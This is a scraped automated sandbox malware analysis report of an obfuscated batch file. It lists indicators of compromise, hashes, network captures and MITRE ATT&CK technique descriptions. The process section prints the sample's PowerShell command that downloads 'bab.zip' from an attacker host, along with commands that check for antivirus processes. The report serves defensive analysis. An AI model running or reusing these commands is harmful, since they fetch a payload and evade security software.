154.216.17.175	new.bat	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	ES20241104044200_1910049770.pdf.exe	Get hash	malicious	Remcos	Browse	154.216.20.185
	018292540-SuratTeguranPPI-20230814215304.PDF.exe	Get hash	malicious	Remcos	Browse	154.216.20.185
	new.bat	Get hash	malicious	Unknown	Browse	154.216.17.175
	vsbeps.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	vkjqpc.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	wnbw86.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	vwkjebwi686.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	wriww68k.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	vsbeps.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	new.bat	Get hash	malicious	Unknown	Browse	154.216.16.111

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_az2tu0c4.fzl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eslh4spj.vtv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (15122)
Entropy (8bit):	0.07606783994078965
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	txt.bat
File size:	5'002'512 bytes
MD5:	b8bc030c21b77383109651fa9800b3a1
SHA1:	db9439324227858dc5b0f3d92a1e8cea5157de91
SHA256:	dd4f6120feace1379dd7978c513d4c839ee9e4b605d50360fac9412dcd6aae69
SHA512:	d5a13357a0653275ba49e9a2c1800bba27a93f71761db722c4e164dae450b817cb913aac1dc6ab25890196b6aa84a3e0c58fdd788cdcfc06908142422601a765
SSDEEP:	192:N4V1WVUQ5kY/Bjwdy8cdyGQenejPVuz0U96ys+b0M4CNEP2K1yL36b+w1tttROty:NKDGe+RHk
TLSH:	623656B00DC38FDFE105853E72EEAC221956E43F5BA628CA6175757F0FD920C640A7A9
File Content Preview:	..&@cls&@set "q..=PlBOr7ndfgit2H3 F4aJGIZypLz019R5qwUDWTsuYEbAm6M8KxkXNhScvej@oCVQ"..%q..:~59,1%%q..:~57,1%%q..:~55,1%%q..:~53,1%%q..:~60,1%%q..:~15,1%%q..:~60,1%%q..:~8,1%%q..:~8,1%%Z..XW.q%..%q..:~38,1%%..u.w.F%%q..:~57,1%%q..:~11,1%%q..:~1,1%%q..:~60,1

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 09:42:24.564618111 CET	49705	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:24.569514990 CET	9135	49705	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:24.569597960 CET	49705	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:24.573339939 CET	49705	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:24.578114033 CET	9135	49705	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:25.187494993 CET	9135	49705	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:25.187549114 CET	49705	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.213886023 CET	49705	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.217495918 CET	49706	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.219350100 CET	9135	49705	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:25.222964048 CET	9135	49706	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:25.223030090 CET	49706	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.223335028 CET	49706	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.228246927 CET	9135	49706	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:25.833647013 CET	9135	49706	154.216.17.175	192.168.2.8
Nov 13, 2024 09:42:25.833728075 CET	49706	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.833839893 CET	49706	9135	192.168.2.8	154.216.17.175
Nov 13, 2024 09:42:25.838809967 CET	9135	49706	154.216.17.175	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 09:42:24.541109085 CET	50016	53	192.168.2.8	1.1.1.1
Nov 13, 2024 09:42:24.548204899 CET	53	50016	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 09:42:24.541109085 CET	192.168.2.8	1.1.1.1	0xec27	Standard query (0)	kendychop.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 09:42:24.548204899 CET	1.1.1.1	192.168.2.8	0xec27	No error (0)	kendychop.shop		154.216.17.175	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kendychop.shop:9135

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	154.216.17.175	9135	6404	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:42:24.573339939 CET	171	OUT	GET /bab.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kendychop.shop:9135 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	154.216.17.175	9135	6404	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:42:25.223335028 CET	171	OUT	GET /bab.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kendychop.shop:9135 Connection: Keep-Alive

Target ID:	1
Start time:	03:42:18
Start date:	13/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" "
Imagebase:	0x7ff647430000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:42:18
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:42:19
Start date:	13/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq AvastUI.exe"
Imagebase:	0x7ff608a70000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:42:19
Start date:	13/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /i "AvastUI.exe"
Imagebase:	0x7ff66b810000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:42:20
Start date:	13/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe"
Imagebase:	0x7ff608a70000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:42:20
Start date:	13/11/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /i "avgui.exe"
Imagebase:	0x7ff66b810000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:42:20
Start date:	13/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFB4AD23D95 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1582731664.00007FFB4AD20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb4ad20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6ffc2d01485e3675e6a7ede7ef7c0dc479045d5709cc38633428d358b59bad
Instruction ID: 6c40efbe090292e877b6449c1dad4a9c98fcf50f015cbc91b971130ee9f78844
Opcode Fuzzy Hash: 3e6ffc2d01485e3675e6a7ede7ef7c0dc479045d5709cc38633428d358b59bad
Instruction Fuzzy Hash: E401677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056EE58AC3655D636E892CB46

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report txt.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_az2tu0c4.fzl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eslh4spj.vtv.ps1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Windows Analysis Report
txt.bat